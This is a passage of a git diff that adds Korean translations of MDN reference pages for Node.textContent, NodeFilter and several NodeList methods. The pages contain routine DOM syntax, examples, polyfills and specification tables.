+<pre class="syntaxbox notranslate">let <var>text</var> = <var>someNode</var>.textContent
+<var>someOtherNode</var>.textContent = <var>string</var></pre>
+
+<h3 id="값">값</h3>
+
+<p>문자열 또는 {{jsxref("null")}}.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>textContent</code>의 값은 상황에 따라 다릅니다.</p>
+
+<ul>
+ <li>노드가 {{domxref("document")}} 또는 {{glossary("Doctype")}}이면 {{jsxref("null")}}을 반환합니다.
+  <div class="note"><strong>참고:</strong> 전체 문서의 모든 텍스트와 CDATA 데이터를 얻으려면 <code><a href="/ko/docs/Web/API/Document/documentElement">document.documentElement</a>.textContent</code>를 사용하세요.</div>
+ </li>
+ <li>노드가 <a href="/ko/docs/Web/API/CDATASection">CDATA 구획</a>, 주석, <a href="/ko/docs/Web/API/ProcessingInstruction">처리 명령</a>, <a href="/ko/docs/Web/API/Text">텍스트 노드</a>면 노드 내의 텍스트, 즉 {{domxref("Node.nodeValue")}}를 반환합니다.</li>
+ <li>다른 노드 유형에 대해서는 주석과 처리 명령을 제외한 모든 자식 노드의 <code>textContent</code>를 병합한 결과를 반환합니다. 자식이 없는 경우 빈 문자열입니다.</li>
+</ul>
+
+<p>노드의 <code>textContent</code>를 설정하면, 노드의 모든 자식을 주어진 문자열로 이루어진 하나의 텍스트 노드로 대치합니다.</p>
+
+<h3 id="innerText와의_차이점"><code>innerText</code>와의 차이점</h3>
+
+<p>비록 <code>Node.textContent</code>와 {{domxref("HTMLElement.innerText")}}의 이름이 유사하긴 하지만, 중요한 차이가 있으므로 헷갈리지 마세요.</p>
+
+<ul>
+ <li><code>textContent</code>는 {{htmlelement("script")}}와 {{htmlelement("style")}} 요소를 포함한 모든 요소의 콘텐츠를 가져옵니다. 반면 <code>innerText</code>는 "사람이 읽을 수 있는" 요소만 처리합니다.</li>
+ <li><code>textContent</code>는 노드의 모든 요소를 반환합니다. 그에 비해 <code>innerText</code>는 스타일링을 고려하며, "숨겨진" 요소의 텍스트는 반환하지 않습니다.
+  <ul>
+   <li>또한, <code>innerText</code>의 CSS 고려로 인해, innerText 값을 읽으면 최신 계산값을 반영하기 위해 {{glossary("reflow", "리플로우")}}가 발생합니다. (리플로우 계산은 비싸므로 가능하면 피해야 합니다)</li>
+  </ul>
+ </li>
+ <li>Internet Explorer 기준, <code>innerText</code>를 수정하면 요소의 모든 자식 노드를 제거하고, 모든 자손 텍스트 노드를 영구히 파괴합니다. 이로 인해, 해당 텍스트 노드를 이후에 다른 노드는 물론 같은 노드에 삽입하는 것도 불가능합니다.</li>
+</ul>
+
+<h3 id="innerHTML과의_차이점"><code>innerHTML</code>과의 차이점</h3>
+
+<p>{{domxref("Element.innerHTML")}}는 이름 그대로 HTML을 반환합니다. 간혹 innerHTML을 사용해 요소의 텍스트를 가져오거나 쓰는 경우가 있지만, HTML로 분석할 필요가 없다는 점에서 <code>textContent</code>의 성능이 더 좋습니다.</p>
+
+<p>이에 더해, <code>textContent</code>는 <a href="/ko/docs/Glossary/Cross-site_scripting">XSS 공격</a>의 위험이 없습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음과 같은 HTML 조각에서...</p>
+
+<pre class="brush: html notranslate">&lt;div id="divA"&gt;This is &lt;span&gt;some&lt;/span&gt; text!&lt;/div&gt;</pre>
+
+<p><code>textContent</code>를 사용해 요소의 텍스트 콘텐츠를 가져오거나...</p>
+
+<pre class="brush: js notranslate">let text = document.getElementById('divA').textContent;
+// The text variable is now: 'This is some text!'</pre>
+
+<p>텍스트 내용을 설정할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">document.getElementById('divA').textContent = 'This text is different!';
+// The HTML for divA is now:
+// &lt;div id="divA"&gt;This text is different!&lt;/div&gt;
+</pre>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Node.textContent")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="spectable standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-node-textcontent','Node.textContent')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.innerText")}}</li>
+ <li>{{domxref("Element.innerHTML")}}</li>
+</ul>
diff --git a/files/ko/web/api/nodefilter/index.html b/files/ko/web/api/nodefilter/index.html
new file mode 100644
index 0000000000..8e71d48db4
--- /dev/null
+++ b/files/ko/web/api/nodefilter/index.html
@@ -0,0 +1,115 @@
+---
+title: NodeFilter
+slug: Web/API/NodeFilter
+tags:
+  - API
+  - DOM
+  - Reference
+translation_of: Web/API/NodeFilter
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><span class="seoSummary"><code><strong>NodeFilter</strong></code> 인터페이스는 {{ domxref("NodeIterator") }}나 {{ domxref("TreeWalker") }}에서 노드를 거를 때 사용하는 객체를 나타냅니다.</span> <code>NodeFilter</code>는 DOM이나 노드 순회 방법은 알지 못하며, 주어진 필터에 대해 단일 노드를 평가하는 방법만 알 수 있습니다.</p>
+
+<div class="note">
+<p>The browser doesn't provide any object implementing this interface. It is the user who is expected to write one, tailoring the <code>acceptNode()</code> method to its needs, and using it with some {{domxref("TreeWalker")}} or {{domxref("NodeIterator")}} objects.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface neither implements, nor inherits, any properties.</em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface doesn't inherit any methods.</em></p>
+
+<dl>
+ <dt>{{domxref("NodeFilter.acceptNode()")}}</dt>
+ <dd>Returns an <code>unsigned short</code> that will be used to tell if a given {{domxref("Node")}} must be accepted or not by the {{ domxref("NodeIterator") }} or {{ domxref("TreeWalker") }} iteration algorithm. This method is expected to be written by the user of a <code>NodeFilter</code>. Possible return values are:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td class="header">Constant</td>
+    <td class="header">Description</td>
+   </tr>
+   <tr>
+    <td><code>FILTER_ACCEPT</code></td>
+    <td>Value returned by the {{ domxref("NodeFilter.acceptNode()") }} method when a node should be accepted.</td>
+   </tr>
+   <tr>
+    <td><code>FILTER_REJECT</code></td>
+    <td>Value to be returned by the {{ domxref("NodeFilter.acceptNode()") }} method when a node should be rejected. For {{ domxref("TreeWalker") }}, child nodes are also rejected. For {{ domxref("NodeIterator") }}, this flag is synonymous with FILTER_SKIP.</td>
+   </tr>
+   <tr>
+    <td><code>FILTER_SKIP</code></td>
+    <td>Value to be returned by {{ domxref("NodeFilter.acceptNode()") }} for nodes to be skipped by the {{ domxref("NodeIterator") }} or {{ domxref("TreeWalker") }} object. The children of skipped nodes are still considered. This is treated as "skip this node but not its children".</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var nodeIterator = document.createNodeIterator(
+  // Node to use as root
+  document.getElementById('someId'),
+
+  // Only consider nodes that are text nodes (nodeType 3)
+  NodeFilter.SHOW_TEXT,
+
+  // Object containing the function to use for the acceptNode method
+  // of the NodeFilter
+    { acceptNode: function(node) {
+      // Logic to determine whether to accept, reject or skip node
+      // In this case, only accept nodes that have content
+      // other than whitespace
+      if ( ! /^\s*$/.test(node.data) ) {
+        return NodeFilter.FILTER_ACCEPT;
+      }
+    }
+  },
+  false
+);
+
+// Show the content of every non-empty text node that is a child of root
+var node;
+
+while ((node = nodeIterator.nextNode())) {
+  alert(node.data);
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-nodefilter', 'NodeFilter')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-NodeFilter', 'NodeFilter')}}</td>
+   <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.NodeFilter")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Related interfaces: {{domxref("TreeWalker")}}, {{domxref("NodeIterator")}}.</li>
+</ul>
diff --git a/files/ko/web/api/nodelist/entries/index.html b/files/ko/web/api/nodelist/entries/index.html
new file mode 100644
index 0000000000..8e9387311c
--- /dev/null
+++ b/files/ko/web/api/nodelist/entries/index.html
@@ -0,0 +1,70 @@
+---
+title: NodeList.entries()
+slug: Web/API/NodeList/entries
+translation_of: Web/API/NodeList/entries
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>NodeList.entries()</strong></code> 메서드는 이 객체에 포함된 모든 key/value 쌍을 통과하는 {{jsxref("Iteration_protocols",'iterator')}} 를 반환합니다. 이 값(value)은 {{domxref("Node")}} 객체입니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">list.entries();</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>{{jsxref("Iteration_protocols","iterator")}} 를 반환합니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js;highlight:[12]">var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+// Using for..of
+for(var entry of list.entries()) {
+  console.log(entry);
+}
+</pre>
+
+<p>결과는 다음과 같습니다:</p>
+
+<pre>Array [ 0, &lt;p&gt; ]
+Array [ 1, #text "hey" ]
+Array [ 2, &lt;span&gt; ]</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-nodelist','entries() (as iterable&lt;Node&gt;)')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.NodeList.entries")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/ko/web/api/nodelist/foreach/index.html b/files/ko/web/api/nodelist/foreach/index.html
new file mode 100644
index 0000000000..b12325d134
--- /dev/null
+++ b/files/ko/web/api/nodelist/foreach/index.html
@@ -0,0 +1,118 @@
+---
+title: NodeList.prototype.forEach()
+slug: Web/API/NodeList/forEach
+translation_of: Web/API/NodeList/forEach
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>{{domxref("NodeList")}} 인터페이스의 <strong><code>forEach()</code></strong> 메서드는 리스트 내의 각각의 값 쌍에 대해 매개 변수에 지정된 콜백을 삽입 순서로 호출합니다.</p>
+
+<h2 id="문법Syntax">문법Syntax</h2>
+
+<pre class="syntaxbox"><em>NodeList.</em>forEach<em>(callback[, thisArg]);</em>
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>각각의 요소에 대해 실행하는 함수로, 3개의 인수(arguments)를 갖습니다:
+ <dl>
+  <dt><em><code>currentValue</code></em></dt>
+  <dd>NodeList에서 처리중인 현재 요소(element)입니다.</dd>
+  <dt><code><em>currentIndex</em></code></dt>
+  <dd>NodeList에서 처리중인 현재 요소의 인덱스입니다.</dd>
+  <dt><em><code>listObj</code></em></dt>
+  <dd><code>forEach()</code> 가 적용되고 있는 NodeList 객체입니다. </dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code><code> {{Optional_inline}}</code></dt>
+ <dd><code>callback</code> 을 실행할 때 {{jsxref("this")}} 에 대입할 값입니다.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>{{jsxref('undefined')}}.</p>
+
+<h2 id="Exceptions">Exceptions</h2>
+
+<p><em>None</em>.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js;highlight:[6]">var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+list.forEach(
+  function(currentValue, currentIndex, listObj) {
+    console.log(currentValue + ', ' + currentIndex + ', ' + this);
+  },
+  'myThisArg'
+);</pre>
+
+<p>결과는 다음과 같습니다.</p>
+
+<pre>[object HTMLParagraphElement], 0, myThisArg
+[object Text], 1, myThisArg
+[object HTMLSpanElement], 2, myThisArg</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>이 {{Glossary("Polyfill","polyfill")}} 은 <a href="https://caniuse.com/#search=es5">ES5</a> 를 지원하는 모든 브라우저에서 동작합니다:</p>
+
+<pre class="brush: js">if (window.NodeList &amp;&amp; !NodeList.prototype.forEach) {
+    NodeList.prototype.forEach = function (callback, thisArg) {
+        thisArg = thisArg || window;
+        for (var i = 0; i &lt; this.length; i++) {
+            callback.call(thisArg, this[i], i, this);
+        }
+    };
+}</pre>
+
+<p>또는</p>
+
+<pre class="brush: js">if (window.NodeList &amp;&amp; !NodeList.prototype.forEach) {
+    NodeList.prototype.forEach = Array.prototype.forEach;
+}</pre>
+
+<p>The above behavior is how many browsers actually implement NodeList.prototype.forEach (Chrome, for example).</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("WebIDL", "#es-forEach", "forEach")}}</td>
+   <td>{{Spec2("WebIDL")}}</td>
+   <td>Defines <code>forEach</code> on <code>iterable</code> declarations</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility">Browser Compatibility</h2>
+
+
+
+<p>{{Compat("api.NodeList.forEach")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/ko/web/api/nodelist/index.html b/files/ko/web/api/nodelist/index.html
new file mode 100644
index 0000000000..a0829a7eca
--- /dev/null
+++ b/files/ko/web/api/nodelist/index.html
@@ -0,0 +1,153 @@
+---
+title: NodeList
+slug: Web/API/NodeList
+tags:
+  - DOM
+  - Interface
+translation_of: Web/API/NodeList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>NodeList</code> </strong>객체는 일반적으로 {{domxref("element.childNodes")}}와 같은 속성(property)과 {{domxref("document.querySelectorAll")}} 와 같은 메서드에 의해 반환되는  <a href="https://developer.mozilla.org/ko/docs/Glossary/Node/DOM">노드</a>의 콜렉션입니다.</p>
+
+<div class="note">
+<p><code>NodeList</code> 가 <code>Array</code> 는 아니지만, <code>forEach()</code> 를 사용하여 반복할 수 있습니다. 또한 {{jsxref("Array.from()")}} 을 사용하여 <code>Array</code> 로 변환 할 수도 있습니다.</p>
+
+<p>그러나 일부 오래된 브라우저는 아직<code>NodeList.forEach()</code> 또는 <code>Array.from()</code> 를 구현하지 않았습니다. 이것은 {{jsxref("Array.forEach()", "Array.prototype.forEach()")}} 를 사용하여 회피할 수 있습니다. — 이 <a href="https://developer.mozilla.org/ko/docs/Web/API/NodeList$edit#Example">문서</a>의 예제를 참조하세요.</p>
+</div>
+
+<p>경우에 따라, <code>NodeList</code>는 라이브 콜렉션으로, DOM의 변경 사항을 실시간으로 콜렉션에 반영합니다. 예를 들어, {{domxref("Node.childNodes")}} 는 실시간입니다:</p>
+
+<pre class="brush: js notranslate">var parent = document.getElementById('parent');
+var child_nodes = parent.childNodes;
+console.log(child_nodes.length); // let's assume "2"
+parent.appendChild(document.createElement('div'));
+console.log(child_nodes.length); // should output "3"
+</pre>
+
+<p>다른 경우 <code>NodeList</code>는 정적 콜렉션입니다. DOM을 변경해도 콜렉션 내용에는 영향을 주지 않습니다. {{domxref("document.querySelectorAll()")}} 은 정적 <code>NodeList</code>를 반환합니다.</p>
+
+<p><code>NodeList</code>의 항목(items)을 순회(iterate)하거나, 특히 리스트의 길이를 캐시(cache)해야 할 때, 이 구분을 유지하는것이 좋습니다.</p>
+
+<h2 id="속성Properties">속성(Properties)</h2>
+
+<dl>
+ <dt>{{domxref("NodeList.length")}}</dt>
+ <dd><code>NodeList</code>의 노드의 개수를 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드Methods">메서드(Methods)</h2>
+
+<dl>
+ <dt>{{domxref("NodeList.item()")}}</dt>
+ <dd>리스트 내 항목(item)의 인덱스를 반환하고, 인덱스가 범위 외의 경우일 땐 <code>null</code>을 반환합니다.</dd>
+ <dd><code>nodeList[idx]</code>의 대안으로 사용할 수 있습니다.(<code>i</code> 가범위를 벗어날 때(out-of-bounds) <code>undefined</code> 를 반환합니다.) 이것은 비 자바스크립트 언어 DOM 구현에 유용합니다.</dd>
+ <dt>{{domxref("NodeList.entries()")}}</dt>
+ <dd>{{jsxref("Iteration_protocols","iterator")}} 를 반환하여 코드가 콜렉션에 포함된 모든 키/값 쌍을 순회할 수 있도록 합니다. (이 경우 키는 0부터 시작하는 숫자이고, 값은 노드가 됩니다.)</dd>
+ <dt>{{domxref("NodeList.forEach()")}}</dt>
+ <dd><code>NodeList</code>의 요소(element)마다 한 번씩, 인자로 전달 받은 함수를 실행하여 요소를 인수(argument)로 함수에 전달합니다.</dd>
+ <dt>{{domxref("NodeList.keys()")}}</dt>
+ <dd>{{jsxref("Iteration_protocols", "iterator")}}를 반환하여 콜렉션에 포함된 키/값 쌍의 모든 키를 코드가 순회하도록 합니다. (이 경우 키는 0부터 시작하는 숫자입니다.)</dd>
+ <dt>{{domxref("NodeList.values()")}}</dt>
+ <dd>콜렉션에 포함된 키/값 쌍의 모든 값(nodes)을 코드가 순회할 수 있게 해주는 {{jsxref("Iteration_protocols", "iterator")}}를 반환합니다.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>for 루프를 사용하여 <code>NodeList</code>의 항목을 반복할 수 있습니다.</p>
+
+<pre class="brush: js notranslate">for (var i = 0; i &lt; myNodeList.length; ++i) {
+  var item = myNodeList[i];  // Calling myNodeList.item(i) isn't necessary in JavaScript
+}
+</pre>
+
+<p><strong>리스트의 항목(items)을 열거하기 위해 <a href="/en-US/docs/JavaScript/Reference/Statements/for...in" title="JavaScript/ Reference/Statements/for...in">for...in</a> 또는 <a href="/en-US/docs/JavaScript/Reference/Statements/for_each...in" title="JavaScript/ Reference/Statements/for each...in">for each...in</a>를 사용하지 않길 바랍니다.</strong> <code>NodeList</code>의 길이와 항목 속성까지 열거합니다. 또한 스크립트가 요소({{domxref("element")}}) 객체만 처리한다고 가정하면 오류가 발생할 수 있습니다. 게다가, <code>for..in</code>은 고정된 순서로 각 속성들을 접근한다는 보장이 없습니다.</p>
+
+<p><code><a href="/en-US/docs/JavaScript/Reference/Statements/for...of" title="/en-US/docs/JavaScript/Reference/Statements/for...of">for...of</a></code> 루프는 <code>NodeList</code> 객체를 올바르게 반복합니다.</p>
+
+<pre class="brush: js notranslate">var list = document.querySelectorAll( 'input[type=checkbox]' );
+for (var item of list) {
+  item.checked = true;
+}</pre>
+
+<p>최신 브라우저는 반복자(iterator) 메서드인 {{domxref("NodeList.forEach()", "forEach()")}}만이 아니라, {{domxref("NodeList.entries()", "entries()")}}, {{domxref("NodeList.values()", "values()")}}, {{domxref("NodeList.keys()", "keys()")}} 까지도 지원합니다.</p>
+
+<p>인터넷 익스플로러의 호환을 위해서는 {{jsxref("Array.forEach()", "Array.prototype.forEach")}} 를 사용하는 방법도 있습니다.</p>
+
+<pre class="brush: js notranslate"><code>var list = document.querySelectorAll( 'input[type=checkbox]' );
+Array.prototype.forEach.call(list, function (item) {
+  item.checked = true;
+});</code>
+</pre>
+
+<h2 id="Array로_변환하는_법">Array로 변환하는 법</h2>
+
+<p>NodeList의 컨텐츠를 Array의 메소드를 통해 다루는 것이 더 쉬울 때도 있다. 아래는 NodeList 객체를 Array로 변환하는 기법이다.</p>
+
+<pre class="brush: js notranslate">var div_list = document.querySelectorAll('div'); // returns NodeList
+var div_array = Array.prototype.slice.call(div_list); // converts NodeList to Array</pre>
+
+<h2 id="Specifications" name="Specifications">NodeList prototype</h2>
+
+<p>NodeList에 프로토타입을 추가할 수도 있다.</p>
+
+<pre class="brush: js notranslate"><code>var elements = document.querySelectorAll(".suggestions");
+
+NodeList.prototype.addEventListener = function(event, func) {
+    this.forEach(function(content, item) {
+       content.addEventListener(event, func);
+    });
+}
+
+function log() {
+    console.log(this, " was clicked");
+}
+
+elements.addEventListener("click", log);
+//or
+elements.addEventListener("click", function() {
+    console.log(this, "  awas clicked");
+});
+// 클릭된 요소로부터 출력될 요소는 둘 모두 HTML 요소가 된다.</code></pre>
+
+<p><font face="consolas, Liberation Mono, courier, monospace">forEach에 대한 자세한 내용은 </font><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach" title="Web/JavaScript/Reference/Global_Objects/Array/forEach">Array.prototype.forEach()</a>를 참조하길 바란다.</p>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-nodelist', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-536297177', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM3 Core') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-536297177', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM2 Core') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-536297177', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.NodeList")}}</p>
diff --git a/files/ko/web/api/nodelist/item/index.html b/files/ko/web/api/nodelist/item/index.html
new file mode 100644
index 0000000000..8e46ba48f4
--- /dev/null
+++ b/files/ko/web/api/nodelist/item/index.html
@@ -0,0 +1,44 @@
+---
+title: NodeList.item()
+slug: Web/API/NodeList/item
+translation_of: Web/API/NodeList/item
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p class="summary"><a href="/en-US/docs/Web/API/NodeList"><code>NodeList</code></a> 의 node를 index로 돌려줍니다. 이 메서드는 인수(arguments)를 제공하는 한 exceptions 을 throw 하지 않습니다. index가 범위를 벗어나면 <code>null</code> 값이 반환되고, 인수가 제공되지 않으면 <code>TypeError</code> 가 throw 됩니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>nodeItem</em> = <em>nodeList</em>.item(<em>index</em>)
+</pre>
+
+<ul>
+ <li><code>nodeList</code> 는 <code>NodeList</code> 입니다. 일반적으로 <a href="/en-US/docs/Web/API/Node/childNodes" title="childNodes">childNodes</a> 와 같은 다른 DOM 속성(property) 또는 메서드에서 가져옵니다.</li>
+ <li><code>index</code> 는 fetch될 node의 index입니다. index는 0 에서 부터 시작합니다.</li>
+ <li><code>nodeItem</code> 은 <code>item</code> 메서드가 반환 한 <code>nodeList</code> 의 node <code>index</code> 입니다.</li>
+</ul>
+
+<h2 id="Alternate_Syntax">Alternate Syntax</h2>
+
+<p>자바스크립트는 NodeList 에서 index를 얻기 위한, 배열과 같은 브라켓 문법([])을 제공합니다 :</p>
+
+<pre class="eval"><em>nodeItem</em> = <em>nodeList</em>[<em>index</em>]
+</pre>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js">var tables = document.getElementsByTagName("table");
+var firstTable = tables.item(1); // or simply tables[1] - returns the <strong>second</strong> table in the DOM
+</pre>
+
+<h2 id="Specification">Specification</h2>
+
+<p><a class="external" href="https://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-item">DOM Level 1 Core: NodeList.item()</a></p>
+
+<p><a class="external" href="https://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-844377136">DOM Level 2 Core: NodeList.item()</a></p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.NodeList.item")}}</p>
diff --git a/files/ko/web/api/nodelist/keys/index.html b/files/ko/web/api/nodelist/keys/index.html
new file mode 100644
index 0000000000..36160b9e1b
--- /dev/null
+++ b/files/ko/web/api/nodelist/keys/index.html
@@ -0,0 +1,72 @@
+---
+title: NodeList.keys()
+slug: Web/API/NodeList/keys
+translation_of: Web/API/NodeList/keys
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><code><strong>NodeList.keys()</strong></code> 메서드는 이 객체에 포함된 모든 키를 통과할 수 있는 {{jsxref("Iteration_protocols",'iterator')}} 를 반환합니다. 이 키는 부호없는 정수형(<code>unsigned integer</code>) 입니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">nodeList.keys();</pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>{{jsxref("Iteration_protocols","iterator")}}를 반환합니다.</p>
+
+<h2 id="Example">Example</h2>
+
+<pre class="brush: js;highlight:[13]">var node = document.createElement("div");
+var kid1 = document.createElement("p");
+var kid2 = document.createTextNode("hey");
+var kid3 = document.createElement("span");
+
+node.appendChild(kid1);
+node.appendChild(kid2);
+node.appendChild(kid3);
+
+var list = node.childNodes;
+
+// Using for..of
+for(var key of list.keys()) {
+   console.log(key);
+}
+</pre>
+
+<p>결과는 다음과 같습니다 :</p>
+
+<pre>0
+1
+2
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#interface-nodelist','keys() (as iterable)')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.NodeList.keys")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/ko/web/api/nodelist/length/index.html b/files/ko/web/api/nodelist/length/index.html
new file mode 100644
index 0000000000..4e931dd73e
--- /dev/null
+++ b/files/ko/web/api/nodelist/length/index.html
@@ -0,0 +1,35 @@
+---
+title: element.length
+slug: Web/API/NodeList/length
+tags:
+  - DOM
+  - Gecko
+  - Gecko DOM Reference
+translation_of: Web/API/NodeList/length
+---
+<p>{{ ApiRef() }}</p>
+<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3>
+<p><code>length</code>는 <code>NodeList</code>의 항목수를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval"><i>numItems</i> =<i>nodeList</i>.length
+</pre>
+<ul>
+ <li><code>numItems</code>은 <code>NodeList</code>의 항목수를 나타내는 정수값입니다.</li>
+</ul>
+<h3 id=".EC.98.88" name=".EC.98.88">예</h3>
+<pre>// 문서의 모든 paragraph
+var items = document.getElementsByTagName("p");
+// 목록의 각 항목에,
+// HTML의 문자열로 전체 요소를 추가
+var gross = "";
+for (var i = 0; i &lt; items.length; i++) {
+  gross += items[i].innerHTML;
+}
+// gross는 이제 모두 paragraph을 위한 HTML
+</pre>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<p>reference에서 이 페이지의 위치에도 불구하고, <code>length</code>는 <a href="ko/DOM/element">Element</a>의 프로퍼티가 아니고, <code>NodeList</code>의 프로퍼티입니다. NodeList 개체는 <a href="ko/DOM/document.getElementsByTagName">document.getElementsByTagName</a>과 같은 많은 DOM 메소드에서 반환됩니다.</p>
+<p><code>length</code>는 DOM 프로그래밍에서 아주 흔한 프로퍼티입니다. 위 예에서처럼 목록의 길이(적어도 있는 지 보기 위해)를 조사하고 for 루프에서 훑개(반복자, iterator)로 널리 쓰입니다.</p>
+<h3 id=".EB.AA.85.EC.84.B8" name=".EB.AA.85.EC.84.B8">명세</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-203510337">length</a></p>
+<p>{{ languages( { "en": "en/DOM/element.length", "pl": "pl/DOM/element.length" } ) }}</p>
diff --git a/files/ko/web/api/nodelist/values/index.html b/files/ko/web/api/nodelist/values/index.html
new file mode 100644
index 0000000000..5613e630ae
--- /dev/null
+++ b/files/ko/web/api/nodelist/values/index.html
